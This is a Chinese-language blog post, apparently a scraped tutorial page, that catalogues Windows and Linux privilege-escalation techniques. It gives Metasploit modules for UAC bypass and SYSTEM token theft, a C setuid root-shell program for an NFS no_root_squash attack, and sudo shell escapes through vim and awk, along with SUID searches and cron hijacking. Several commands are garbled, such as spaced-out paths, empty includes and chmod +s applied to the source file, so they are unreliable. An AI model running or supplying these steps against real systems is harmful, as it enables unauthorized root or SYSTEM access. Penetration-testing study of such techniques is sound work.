提权的几种方法

提权的几种方法
本文主要介绍几种提权方法的原理以及对应工具脚本的使用
windows
主要分为
系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、窃取令牌提权、bypassuac提权,第三方软件/服务提权,WEB中间件漏洞提权等。
系统内核溢出提权(例如:巴西烤肉等)
使用systeminfo查看系统的补丁
使用未打补丁的exp进行攻击
wmic qfe get Caption,Description,HotFixID,InstalledOn
使用此条命令即可查看本机安装的补丁
也可以直接找是否存在cve-2018-8120对应的KB4131188补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:“KB4131188”
例如KiTrap0D和KB979682对应、MS10-021和KB979683对应
使用msf中的扫描模块
use post/windows/gather/enum_patches
use post/multi/recon/local_exploit_suggester
set lhost x.x.x.x
set session x
run
进行扫描探测
上传Windows-Exploit-Suggester文件,执行后,根据回显选择对应的exp进行提权
更新漏洞数据库,会生成一个xls的文件,如下 2020-02-12-mssb.xls
python2 windows-exploit-suggester.py --update
#查看目标主机系统信息,保存为sysinfo.txt文件
systeminfo > sysinfo.txt
#然后运行如下命令,查看该系统是否存在可利用的提权漏洞
python2 windows-exploit-suggester.py -d 2020-02-12-mssb.xls -i sysinfo.txt
利用
msf利用search 漏洞编号
或者在exploit官网查找对应exp上传利用

错误的系统配置提权
系统对于用户的权限管理不当,低权限用户可以更改高权限应用的dll或者在计划任务中写入命令
把服务需要的exe,dll,或者其他组件更改为木马,服务重启时即可或者system权限
msf 对应的模块为exploit/windows/local/service_permissions
可信任服务路径漏洞
如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的
简单的说就是,操作系统会对文件路径中空格的所有可能进行尝试,
exploit/windows/local/trusted_service_path
set AutoRunScript migrate -f(正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程)
不安全的注册表权限配置
低权限用户对注册表有写入权限
msf利用模块
exploit/windows/local/always_install_elevated

组策略首选项提权
为方便对所有机器进行操作,网络管理员会使用域策略进行统一的配置和管理,那么所有机器的本地管理员密码就是一样的,造成了即使不知道密码的情况下也能修改组策略首选项的密码,也可以通过脚本破解组策略首选项文件中密码的漏洞
msf利用 post/windows/gather/credentials/gpp
bypassUAC提权
msf模块
exploit/windows/local/ask
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack
令牌窃取
使用烂土豆和msf共同利用
upload /root/potato.exe C:\Users\Public(上传烂土豆exe)
cd C:\Users\Public
use incognito (msf使用该模块)
list_tokens -u (显示所有的令牌)
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token “NT AUTHORITY\SYSTEM”(伪造令牌)
数据库提权(sa权限)
贴个连接:https://blog.csdn.net/weixin_45427650/article/details/104849928
第三方软件提权
需要通过端口判断,使用的软件,根据软件选择不同的提权方法
例如使用
Server-u提权
https://blog.csdn.net/bylfsj/article/details/102566789
个人认为流程:bypassuac,令牌窃取,溢出提权,系统配置提权,组策略首选项提权
linux提权
内核提权
uname -a 查看当前版本
搜索合适的exp,上传,编译,执行
NFS提权
查看“ / etc / exports ”文件
包含将哪些文件夹/文件系统导出到远程用户的配置和权限。

在我们的攻击机上安装客户端工具
需要执行以下命令,安装nfs-common软件包。apt会自动安装nfs-common、
rpcbind等12个软件包
1 sudo apt install nfs-common
2 apt-get install cifs-utils
然后输入命令
showmount -e
创建目录以挂载远程系统。
mkdir / tmp / test
在/tmp/test上装载Remote/tmp文件夹:
mount -o rw,vers = 2 [IP地址]:/ tmp / tmp / test
/tmp/test/中。新建一个c文件。 1 #include
2 #include
3 #include
4 #include
5 int main() { setuid(0); system("/bin/bash"); return 0; }
也可以1 echo ‘int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }’ >
编译:
1 gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel
赋权: chmod + s /tmp/test/suid-shell.c
执行./suid-shell
SUID提权
查找suid和guid文件
Find SUID
find / -perm -u=s -type f 2>/dev/null
Find GUID
find / -perm -g=s -type f 2>/dev/null
可以用于提权的
nmap
vim
less
more
nano
cp
mv
find
sudo -l 提权
Vim命令
sudo vim -c’!sh’
使用Nmap命令
使用Man命令
使用less/more命令
利用awk命令 sudo awk ‘BEGIN {system(“/bin/bash”)}’

定时任务提权
crontab -l 显示当前用户的cron
ls -la /etc/cron* 显示计划的作业概述
find / -perm -2 -type f 2> / dev / null –输出可写文件
由于Cron在执行时以root身份运行/etc/crontab,因此crontab调用的任何命令或脚本也将以root身
份运行。当Cron执行的脚本可由非特权用户编辑时,那些非特权用户可以通过编辑此脚本并等待
Cron以root特权执行该脚本来提升其特权!
参考链接:https://cloud.tencent.com/developer/article/1771226(windows提权)
linux提权为李木知识星球的文章

你可能感兴趣的:(安全,web安全,前端)